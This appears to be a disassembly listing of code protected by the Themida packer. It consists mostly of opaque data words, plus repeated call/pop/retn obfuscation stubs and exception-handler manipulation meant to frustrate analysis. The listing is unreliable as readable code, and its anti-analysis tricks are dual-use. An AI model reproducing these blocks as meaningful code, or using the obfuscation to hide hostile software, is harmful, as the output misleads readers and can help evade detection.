		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0BD8BD9F3h, 0AE309BDh, 8D6D1BBFh, 6A006A60h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 4ACAC352h, 6840FD8h, 8B000000h, 0E32551BDh
		dd 0E995FF0Ah, 8B0AE314h, 0CA8D8DF9h, 0F80AE6D5h, 0BD83D1FFh
		dd 0AE32269h, 8B850F01h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 79C5C352h
		dd 0AC1CBFD4h, 2C1A7CA0h, 0BE9h, 0D9838F00h, 4DE79257h
		dd 1523FE2Dh, 8D89026Ah, 0AE30921h, 5024B390h, 14870Fh
		dd 0CE80000h, 13000000h, 76F2432Ah, 0E37B8607h,	8B0D068Fh
		dd 29905BD9h, 0E31FE18Dh, 7195FF0Ah, 6A0AE31Eh,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 5093C350h, 97B2CB81h, 0B0E951B8h, 0E800000Dh, 0
		dd 0EAED815Dh, 0F90AE850h, 30D78166h, 3E858DC1h, 0F0AE6C1h
		dd 582h, 0D3816600h, 0E890E301h, 14h, 77520CECh, 0C32CC656h
		dd 93325CBDh, 0C0DD0B15h, 0D40E9933h, 505FD98Bh, 55006A90h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 672E1905h, 4FC60B68h, 0AE9h,	8EAE4100h, 14592091h, 29990DAAh
		dd 0E3346D85h, 35FF640Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_5D7663
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D7663	proc near		; CODE XREF: Themida_:005D765Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 16h
		inc	edx
		push	edx
		retn
sub_5D7663	endp

; ---------------------------------------------------------------------------
		idiv	dword ptr [edi]
		retf
; ---------------------------------------------------------------------------
		mov	[ebp+0AE3311Dh], eax
		mov	large fs:0, esp
		push	0
		push	ebx
		call	sub_5D768E
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D768E	proc near		; CODE XREF: Themida_:005D7686p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5D768E	endp

; ---------------------------------------------------------------------------
		dw 2C5Ch
; ---------------------------------------------------------------------------
		inc	dword ptr [ebp+0AE31C15h]
		push	0
		push	edx
		call	sub_5D76B1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D76B1	proc near		; CODE XREF: Themida_:005D76A9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D76B1	endp

; ---------------------------------------------------------------------------
		db 2Eh,	6Dh, 7Ah
		dd 43E152FEh, 8B7559F3h, 0E32C319Dh, 41B5890Ah,	6A0AE305h
		dd 0B5FFF9FFh, 0AE32C4Dh, 7D95FFF5h, 0E90AE300h, 11Ah
		dd 2C61BD03h, 85890AE3h, 0AE333C1h, 853100B0h, 0AE32F65h
		dd 0BB6670E6h, 71E405D1h, 68F0Fh, 0E3810000h, 5D810143h
		dd 830F613Ch, 0EAh, 154D8589h, 0B60F0AE3h, 0BE9C8h, 0A97A0000h
		dd 4195160Dh, 2053361Eh, 6BA8Bh, 0BB660000h, 0C18BD129h
		dd 15DB8166h, 4E8C163h,	2D39BD23h, 0F7660AE3h, 3BEB81E2h
		dd 2B76B9E8h, 58D89C8h,	8B0AE32Ch, 498D89D1h, 0E90AE32Eh
		dd 9Ah,	1810Fh,	8BF90000h, 5F4C4C85h, 0DFB70F50h, 2B07C083h
		dd 0E323AD9Dh, 0C0830Ah, 11E5B589h, 0D03B0AE3h,	11830Fh
		dd 6BE90000h, 89000000h, 0E303F585h, 78E7810Ah,	8B0B3B3Eh
		dd 0FFFFFF8Dh, 810FF9FFh, 4, 5F616057h,	0F01E183h, 4584h
		dd 0F5BD8B00h, 830AE32Fh, 0FFFFFFA5h, 13E8FEFFh, 0FB000000h
		dd 0E1BDC699h, 5BB830B4h, 24273911h, 0B6684C11h, 5F53BA44h
		dd 4C95895Fh, 89505F4Ch, 0E32EAD9Dh, 6880F0Ah, 8B000000h
		dd 0E32E719Dh, 0E90Ah, 0B58D0000h, 0AE7C4E7h, 2F698529h
		dd 8B660AE3h, 0E9006AF8h, 14h, 504066AFh, 596D0723h, 0FCD87FDFh
		dd 8DD14A5Dh, 14DD77FFh, 1CD195FFh, 6A0AE3h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 60DDEBC3h
		dd 134A875Ch, 0EE9h, 37A9000h, 0FD78A3A5h, 0F2E4E02Ch
		dd 0E9B19161h, 7, 1763400h, 0B9DABA50h,	0EDFh, 7E8h, 32CEE900h
		dd 0FA121DDh, 3CD9D29h,	835B0AE3h, 6AFCE1h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 57B6CDC3h
		dd 12E9FC69h, 30000000h, 25072BFBh, 953A8B8Dh, 35FEE7FDh
		dd 39CF2DC4h, 0B70FFC85h, 0B8FEh, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 88802C3h
		dd 0DF8B14DFh, 0BAh, 12E800h, 5CDC0000h, 86F23323h, 6E6EC678h
		dd 676FBE06h, 582490D3h, 15FD9D89h, 0AD5B0AE3h,	0E8D1C233h
		dd 0E983D003h, 66F47504h, 0D58F381h, 880DD88Bh,	6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 5D8EC355h, 3A7A2154h, 0E91A4E4Eh,	8, 199199ACh
		dd 0CEF34252h, 1479958Bh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1B0424h, 56460000h, 0F0C809C3h, 171E7039h
		dd 0D9B70F19h, 13E9h, 0CFC33600h, 650019FFh, 196865F9h
		dd 0A3EE8EBh, 266915Ch,	6C98D8Bh, 13E90AE3h, 3D000000h
		dd 338BE4D7h, 990E447Ah, 0F6A69413h, 37F4ED61h,	8B5060D3h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 881EBB66h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C1C35242h
		dd 286A6948h, 699D8B60h, 0F0AE320h, 8361DABFh, 0E31F61BDh
		dd 840F000Ah, 38h, 1F9B589h, 0B80AE3h, 8B000000h, 6E8D8DFEh
		dd 6A0AE34Eh, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0FC37C351h, 0EF81E1FFh, 2646DBCEh
		dd 69BD83h, 0F000AE3h, 46684h, 69BD8300h, 10AE300h, 474840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 242BBAC3h, 59A29F55h, 0E99D8BE6h,	8B0AE32Fh
		dd 69BD83D9h, 30AE300h,	406860Fh, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 91AAD0C3h
		dd 11098D29h, 6A600AE3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 60B6C351h, 0E9C9A0FFh
		dd 5, 4E63BA2Bh, 0D98C6695h, 2F559D8Bh,	0E1800AE3h, 52006A04h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 0C90A0796h, 10C840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0F2F09BC3h, 0D84EBB66h
		dd 1FD1858Bh, 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 410B59C3h, 0D366D0B4h, 333CF2E1h
		dd 0E31E4585h, 0D8B70F0Ah, 1A8C0F50h, 53000000h, 13E9h
		dd 3CD48800h, 7DDD9667h, 2A62AE2Dh, 0F8B8B7FCh,	0B684916Ah
		dd 2404895Bh, 0F2CF81h,	89570252h, 0E31651B5h, 6A5B0Ah
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 3EC35040h
		dd 12A590FAh, 7ED9589h,	50680AE3h, 529ADCE0h, 0CF91BF66h
		dd 2404815Bh, 654223AFh, 99589h, 81660AE3h, 0FF28CDD7h
		dd 0E31A4595h, 38B0F0Ah, 0F000000h, 8589F8BFh, 0AE6D62Ah
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 9C35242h
		dd 0E9A9E7FEh, 1DCh, 17B19D8Bh,	858B0AE3h, 0AE6D622h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 4FC35747h, 758D89C7h
		dd 0BB0AE329h, 663E549Ah, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 2B2945C3h
		dd 0E31745BDh, 26B58B0Ah, 570AE6D6h, 5FDA8B66h,	25D1858Bh
		dd 6A0AE3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 4F9F98C3h, 6A0689h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 0D6D79FC3h, 6800Fh, 95290000h
		dd 0AE31429h, 1FD1858Bh, 6A0AE3h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0ED482C3h, 0AF8572E9h
		dd 8F0FAF9Ch, 0Ch, 5E956h, 0DC0F0000h, 5F66F496h, 6A044689h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 17042444h
		dd 47000000h, 4AA9C357h, 8950BB65h, 6A2434h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 140424h, 50400000h, 9D89F0C3h
		dd 0AE31609h, 0D622B5FFh, 13E90AE6h, 7B000000h,	63D6ED1Bh
		dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 4068C3F4h,	66876721h
		dd 481D98Bh, 0B7E2BF24h, 0FE978h, 991C0000h, 592B0521h
		dd 8073EABDh, 0C6CC9D0Eh, 2A858D4Ah, 0E90AE6D6h, 0Dh, 0DD31684Dh
		dd 7CBF74BEh, 2C153A0Bh, 48950B8h, 53006A24h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0ED632F89h
		dd 2800F4Eh, 50000000h,	0B5BD035Fh, 0FF0AE303h,	0E31A4595h
		dd 0AE90Ah, 0DE950000h,	0D7F9076Fh, 43A69B40h, 57006A61h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 0EFB3407Fh, 85C76CB3h, 0AE30069h, 3,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ch, 80C35747h, 0A80D5319h
		dd 0F4BA0268h, 13E9h, 0CA343400h, 3332BCD0h, 330CFB73h
		dd 9B592125h, 69DFF329h, 0D62ABD83h, 0F000AE6h,	2F84h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 8B3FC185h, 0E301E59Dh, 20E9F50Ah, 66000000h
		dd 0E0EBD781h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 6D47C350h, 58973099h
		dd 896E28F5h, 0E31669BDh, 52006A0Ah, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0A10AD5B6h
		dd 2E8F7BA2h, 0DB81073Dh, 67616F58h, 69BD83h, 0F030AE3h
		dd 42285h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 4834821Ch, 76BBB462h, 0BD83FB8Bh
		dd 0AE6D62Ah, 0F0840F00h, 0BF000003h, 65852C2Ah, 0D62AB5FFh
		dd 6A0AE6h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 8D8980C3h, 0AE315BDh, 331595FFh, 6A0AE3h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h, 56460000h
		dd 19EE0DC3h, 899D8941h, 8B0AE31Ch, 0E32375BDh,	1EB58B0Ah
		dd 6A0AE6D6h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 16F3C353h, 106C763h, 0E9000100h
		dd 9, 0FD44FFh,	89993459h, 8E0F50FEh, 4, 0B03CBB66h, 6A243489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 0B6D6C355h, 9A91082Ah, 0FFFA8ADEh, 0E6D62AB5h
		dd 51006A0Ah, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 6FEBB6C9h, 0F4414B4Ah, 1221BD8Bh, 95FF0AE3h
		dd 0AE320BDh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 15h,	8AC35141h, 8BDAB720h, 0E6D61EB5h, 19BD8B0Ah, 8B0AE300h
		dd 0E3105985h, 8689FC0Ah, 0C4h,	28A0F53h, 8B000000h, 958B5FFBh
		dd 0AE31479h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 19h,	24C35242h, 0CCB2C91Dh, 4C2830Dh, 0EE8FCh, 95860000h
		dd 60A06031h, 9D948039h, 6CFCF90Ah, 21218589h, 895F0AE3h
		dd 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0DCAF45C3h, 6810FB6h, 8B000000h, 0E30431BDh
		dd 6185890Ah, 8D0AE316h, 0E6E8B385h, 9E90Ah, 84640000h
		dd 890ACD5Bh, 34A3C09h,	0E306DDBDh, 0B886890Ah,	6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 6AD5C356h, 11EB700Ch, 0DF8B6669h,	6A006Ah
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
		dd 9D8973C3h, 0AE32F09h, 0D62AB5FFh, 10E80AE6h,	0A0000000h
		dd 0DB4BD4D5h, 3E19F5ABh, 0E5D2CC49h, 0E910B764h, 11h
		dd 3E922C07h, 0DC6EE40Ch, 0EA353C7h, 59AFC87Eh,	95FF5BE9h
		dd 0AE31E71h, 32BDBD8Bh, 8B500AE3h, 243489F8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0ACC35545h, 5287B46Eh
		dd 14C88D90h, 1055BD8Bh, 0B5FF0AE3h, 0AE6D62Ah,	2609BD8Bh
		dd 95FF0AE3h, 0AE32369h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 98C35343h, 0ADBD837Eh, 0AE317h, 38840Fh
		dd 12E90000h, 5B000000h, 0BC91F2B4h, 4607B67Dh,	0DB54BFDCh
		dd 6829AE22h, 5250508Dh, 0B00B7BBBh, 50310F22h,	5CBF6652h
		dd 0B3310FE8h, 5A585A3Eh, 24348958h, 28EDBD8Bh,	0B5FF0AE3h
		dd 0AE6D62Ah, 0A4BABF66h, 29595FFh, 840F0AE3h, 1, 2AB5FFF5h
		dd 0B70AE6D6h, 0DD95FF18h, 6A0AE311h, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 20F4C352h
		dd 5B895C62h, 838F1C90h, 0E3197DBDh, 840F020Ah,	8Ch, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 3C35343h, 0E9D26898h
		dd 0E381F90Eh, 7B42D7ADh, 1A65858Bh, 0DB810AE3h, 57A635CBh
		dd 3890Fh, 8B660000h, 0C6DEh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ch, 0E4C35141h,	98FECE0h, 3717FC8Ah
		dd 8D9D0960h, 0E80AE302h, 14h, 0FEB5D6D7h, 0FDC5E9FBh
		dd 97CD9657h, 79EAA3CFh, 9F4505E3h, 324D9D29h, 61580AE3h
		dd 211D85C7h, 0AE3h, 0E9F80000h, 0FFFFF35Bh, 8BD88B66h
		dd 4DB589C1h, 8D0AE31Dh, 0E32FFD85h, 53006A0Ah,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 16F73B12h
		dd 50F4845Fh, 81BB6651h, 4895BB9h, 0DE95324h, 63000000h
		dd 993E69D4h, 1D424CA3h, 7961CAC7h, 6A006A5Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 1CDC353h, 0BBE83BFDh, 2D672337h, 0F8D78166h,	60006AC2h
		dd 12E9h, 9BC14900h, 24728E31h,	2ABD19B2h, 195A324Dh, 60025A95h
		dd 0E9A0D680h, 5, 905FC2F8h, 8D616150h,	0E8609885h, 53006A0Ah
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 0C083DD82h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 0B32B27C6h, 8B6636E8h
		dd 0F88B50D8h, 6A240489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 15042444h, 45000000h, 0D920C355h,	13E9h
		dd 284D9800h, 93B6A156h, 5F83D559h, 86FD9ABh, 6F4ADB3Ch
		dd 0BF66006Ah, 6A462Ah,	0C4324CBFh, 0E995FF62h,	0E90AE314h
		dd 9, 6EC867CEh, 38179B8h, 0CA8D8D7Ah, 6A0AE6D5h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h
		dd 18BDC353h, 0A36B90E0h, 9ABBFC66h, 0FF37E1FEh, 0CE9D1h
		dd 0FD390000h, 610D6223h, 7A801F1Ah, 0BD839D93h, 0AE32269h
		dd 73850F01h, 0BB000000h, 0C15AB19h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 9DADE8C3h
		dd 13F2CEA9h, 830FCB87h, 15h, 10E9h, 0B88BDB00h, 0CC4CB56Ch
		dd 0C17817E7h, 0DF3750B4h, 12E950CDh, 29000000h, 4E6894ADh
		dd 0F4FF140Ch, 5056C999h, 0AC312979h, 240489E7h, 1CC9B589h
		dd 95FF0AE3h, 0AE31E71h, 1FF59D8Bh, 0EBE90AE3h,	0E800000Dh
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 0AE860A2h
		mov	di, 5781h
		push	0
		push	edx
		call	sub_5D85AA
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D85AA	proc near		; CODE XREF: Themida_:005D85A2p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5D85AA	endp

; ---------------------------------------------------------------------------
		dw 1782h
		dd 9D8B696Dh, 0AE314F1h, 6870F60h, 0F000000h, 84h, 38F0F00h
		dd 66000000h, 8D61DA8Bh, 0E6C13E85h, 55006A0Ah,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0BD299AF6h
		dd 0AE3253Dh, 0DE890h, 7D040000h, 2672300Eh, 8C105486h
		dd 5B71C8C0h, 8870F50h,	0F000000h, 28Ah, 90DD8A00h, 89DE8B66h
		dd 0E32C0D95h, 35FF640Ah, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5D8643
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8643	proc near		; CODE XREF: Themida_:005D863Bp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5D8643	endp

; ---------------------------------------------------------------------------
		adc	al, 0C8h
		mov	large fs:0, esp
		sub	[ebp+0AE30FCDh], edx
		push	eax
		mov	di, 8D79h
		pop	edi
		inc	dword ptr [ebp+0AE31C15h]
		mov	[ebp+0AE31321h], ebx


loc_5D8674:				; CODE XREF: Themida_:loc_5D9345j
		push	0FFFFFFFFh
		mov	edi, [ebp+0AE32551h]
		push	dword ptr [ebp+0AE31161h]
		push	0
		push	esi
		call	sub_5D868D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D868D	proc near		; CODE XREF: Themida_:005D8685p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_5D868D	endp

; ---------------------------------------------------------------------------
		db 8Ch,	0D0h, 0CEh
; ---------------------------------------------------------------------------
		call	dword ptr [ebp+0AE3007Dh]
		jmp	loc_5D87D5
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0B0DEBFh, 1F099D8Bh,	70E60AE3h, 6E9h, 0CF8BA000h, 0E498B857h
		dd 898D8971h, 3C0AE319h, 2830F61h, 0B3000001h, 0C8B60F02h
		dd 21BD03h, 6BA0AE3h, 29000000h, 0E31EFDB5h, 0FC18B0Ah
		dd 588h, 9C20BF00h, 8529443Ah, 0AE330A5h, 5304E8C1h, 0EE9h
		dd 0E1ED7C00h, 0B7FAEF44h, 64AAD5D6h, 5F164542h, 12E9h
		dd 9D659C00h, 77ACC51h,	0AA0AF49Ah, 0CFFAD7A3h,	66BFCE4Ch
		dd 35BBE2F7h, 2B6E3AF7h, 0A59D8BC8h, 8B0AE310h,	41BD23D1h
		dd 0E90AE32Dh, 8Dh, 6860Fh, 0E7810000h,	1F8BD686h, 554C858Bh
		dd 0B5294947h, 0AE30781h, 8107C083h, 9BD4FCE7h,	0C860F69h
		dd 0F000000h, 68Fh, 5DBD3100h, 830AE32Bh, 0D03B00C0h, 20830Fh
		dd 0BD290000h, 0AE31A81h, 44E9h, 10E900h, 0F7530000h, 0B9ADEC1Eh
		dd 166131C4h, 9D75EE11h, 8D8BE121h, 0FFFFFFFFh,	1FFDBD29h
		dd 0E1830AE3h, 1A840F01h, 81000000h, 4FF11AE3h,	0FFA58362h
		dd 0FEFFFFFFh, 9589D88Bh, 4947554Ch, 0E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D87D5:				; CODE XREF: Themida_:005D86A6j
		lea	esi, [ebp+0AE7D3C6h]
		mov	ebx, [ebp+0AE31B69h]
		push	0
		push	0
		push	edi
		call	sub_5D87EE
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D87EE	proc near		; CODE XREF: Themida_:005D87E6p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Bh
		inc	edi
		push	edi
		retn
sub_5D87EE	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	esp
		lds	edi, [edx+5E53D47Dh]
		call	dword ptr [ebp+0AE31CD1h]
		push	0
		push	eax
		call	sub_5D8817
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D8817	proc near		; CODE XREF: Themida_:005D880Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5D8817	endp

; ---------------------------------------------------------------------------
		db 3Ah
		dd 1B086468h, 0D98D0160h, 610AE319h, 0F1EB9h, 13E800h
		dd 3E2E0000h, 1D061FF0h, 63925B63h, 707262E6h, 0FD40951h
		dd 45BD8930h, 5F0AE326h, 6AFCE183h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 981BC356h
		dd 0B52CC010h, 6AFC0Ch,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 73DA5FC3h, 13E9h, 1859CC00h, 88EEBABCh
		dd 173E3F84h, 6223FD39h, 1F1A610Dh, 800FC02Bh, 2, 0D22B51B3h
		dd 13E9h, 2A8B1D00h, 0F147F80Bh, 0BA1877D4h, 139C53D2h
		dd 0D673A089h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 0EE84BF66h
		dd 1B698D89h, 880D0AE3h, 6A000000h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 1AC3C356h
		dd 6BD0AF09h, 27F4963h,	1F75BD8Bh, 958B0AE3h, 0AE31479h
		dd 0C98D8BF8h, 660AE306h, 5017BDBBh, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 57006A58h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 6E9C2D2h, 0DC000000h
		dd 6C1BCCA0h, 0F6BB662Eh, 0A7D3813Eh, 83161B4Bh, 0E31F61BDh
		dd 840F000Ah, 5Eh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 19h, 0C2C35343h, 8731321Ah, 17CB81C9h, 0B83E2B9Bh
		dd 0
; ---------------------------------------------------------------------------
		mov	edi, 111DE715h
		lea	ecx, [ebp+0AE34E6Eh]
		or	[ebp+0AE3180Dh], ebx
		jmp	ecx
; ---------------------------------------------------------------------------
		push	0
		push	ecx
		call	sub_5D89CA
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D89CA	proc near		; CODE XREF: Themida_:005D89C2p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 17h
		inc	ecx
		push	ecx
		retn
sub_5D89CA	endp

; ---------------------------------------------------------------------------
		sub	eax, 83340172h
		mov	ebp, 0AE30069h
		add	[edi], cl
		test	[edi], al
		add	eax, 6A0000h
		push	edi
		call	sub_5D89F6
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D89F6	proc near		; CODE XREF: Themida_:005D89EEp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 18h
		inc	edi
		push	edi
		retn
sub_5D89F6	endp

; ---------------------------------------------------------------------------
		dw 34CFh
		dd 0E95C1E67h, 12h, 0B8E0707Bh,	0D1C04B6Bh, 0F1B1B52Bh
		dd 0E0DF749Eh, 0AE87011h, 0D7000000h, 5E5E00CCh, 50218AACh
		dd 0BD835B1Ah, 0AE30069h, 0CE840F01h, 6A000004h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0F676C352h, 0BD83DE8Bh, 0AE30069h, 6C860F03h, 6A000004h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 0F471C356h, 0FE8B6660h, 60D98C66h, 31F18B60h
		dd 0E30409BDh, 8531610Ah, 0AE32E79h, 4E18061h, 0ADA8B66h
		dd 86840FC9h, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 1DD9C351h, 63A9E86Ch
		dd 0F4191B87h, 8B5FF550h, 0E31FD185h, 698D290Ah, 330AE30Ah
		dd 0E31E4585h, 0A5BD8B0Ah, 900AE321h, 8E9h, 63C9AC00h
		dd 0BB864767h, 52505008h, 0DE8h, 8F9DA300h, 82E2090h, 160CF0B5h
		dd 0CB326D6h, 0BF310F5Bh, 7A9D71DBh, 6690585Ah,	6ADA8Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0DDC35545h
		dd 44656D9Bh, 0F0BBDB23h, 0E80B67A0h, 4, 1F03FFh, 13E9h
		dd 4A556100h, 0FAB7FE59h, 685A7BAFh, 1B4A1F84h,	9AB79EF2h
		dd 0BB666050h, 52501739h, 0C9249DB8h, 0E9310F36h, 10h
		dd 0FD60C4E2h, 0DBCCE004h, 5100C53Ah, 22A90B9h,	8B61585Ah
		dd 0E9042444h, 0Fh, 3F11C92h, 701F8A6Ah, 13823504h, 8B1EDC57h
		dd 66605700h, 61527EBBh, 2444895Fh, 0C222BB04h,	8B5814F0h
		dd 0E32239BDh, 259D890Ah, 0FF0AE325h, 0E31A4595h, 55006A0Ah
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0FE7278D2h, 0BD8B861Ah, 0AE301B5h, 38C0Fh, 0B70F0000h
		dd 0D1DF80F9h, 0D62A8589h, 0F98B0AE6h, 23FE9h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 1F1FBFCDh, 0B75BB1BFh, 22858BF0h, 6A0AE6D6h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h
		dd 0A7EBC356h, 0C24C23A7h, 0BFD9F56Bh, 794FF8D6h, 1800C7h
		dd 0F3810000h, 376AF279h, 0D626B58Bh, 6A0AE6h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h
		dd 13F7AEC3h, 483A247Ah, 858B83B8h, 0AE325D1h, 0E853006Ah
